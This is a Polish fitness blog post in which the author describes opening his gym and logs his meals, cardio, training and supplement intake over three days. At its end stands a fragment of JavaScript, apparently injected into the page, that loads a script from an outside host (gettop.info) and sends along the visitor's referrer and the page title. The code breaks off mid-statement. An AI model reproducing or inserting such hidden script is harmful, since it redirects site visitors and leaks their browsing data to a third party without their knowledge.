Otwarcie Energy Clubu

10.09.2011 / Michał Karmowski

Nie wpisywałem się kilka dni , bo miałem prawdziwe urwanie głowy związane z otwarciem ENERGY-CLUBU, po powrocie z Zielonej Góry i ciężkim treningu nóg w środę zrobiłem dzień wolnego od siłowni, kręciłem tylko 2 x aeroby po 30 min. W czwartek od 7.00 byłem w klubie aby wszystkiego dopilnować bo cały czas trwały  prace remontowe…., wyszedłem do domu o 1.00 do domu i byłem z powrotem na 7.00 , nie mogę powiedzieć aby trzy ostatnie dni były sielanką , bo nie spałem i robiłem wszystko w biegu , ale w końcu KLUB JEST CZYNNY!!! Dziś było wielkie otwarcie , a przez siłownię przewinęło się sporo ludzi. Można u nas kupić wszystkie produkty TREC’a , a ja na pewno dobiorę suple pod konkretną osobę.

Czwartek-dzień wolny

2miarki bcaa powder, 2 miarki l-glutamine , 3 caps clenburexin i przed 5 posiłekiem

30 min aero bieżnia

1-650g białek jaj, 200g płatków owsianych, łyżka czubata masła orzechowego JORI

2,3,4,5,6-300g kurczaka, 100g ryżu, 40g orzechów

30 min-bieżnia

7-300g steka wołowego i 100g awokado

na noc 2 miarki l-glutamine extreme i 50g białka z isolate 100, byłem mega głodny bo póżno wróciłem do domu…

 

Piątek-

2 miarki bcaa powder, 2 miarki l-glutamine extreme, 3 caps clenburexin

30 min aero bieżnia

1-650g  białek jaj , 200g płatków owsianych, 100g awokado

2, 3-350g dorsza, 75g ryżu, 20g liwy z oliwek

przed treningiem 15 g S.A.W , 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 8caps aakg mega hardcore

TRICEPS & BICEPS

bezpośrednio po treningu 2 miarki bcaa powder, 2 miarki l-glutamine , 75g białka z isolate 100, 175g ryżu

4,5-300g kurczaka, 75g ryżu, 40g orzechów

6-350g steka wołowego, 100g awokado

Dzisiejszy dzień czyli sobota

2 miarki bcaa powder, 2 miarki l-glutamine extreme, 3 caps clenburexin

30 min aerobów- robiłem ja po 3 godzinach snu…

1-650g  białek jaj, 200g płatków owsianych, 50g orzechów,

2,3, 300g kurczka, 100g ryżu, 20g oliwy z oliwek

przed treningiem 2 miarki bcaa powder, 2 miarki l-glutamine  extreme, 15g S.A.W, 8 caps aakb mega hardcore

plecy- po 75g isolate 100, 2 miarki bcaa powder , 2 miarki l-glutamine extreme, 150g ryzu

4,5-350g pangi białej, 75g ryżu, 100g awokado

kolacja dopiero przede mną , ale zjem 350g steka i 40g orzechów włoskich

 s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if (document.currentScript) {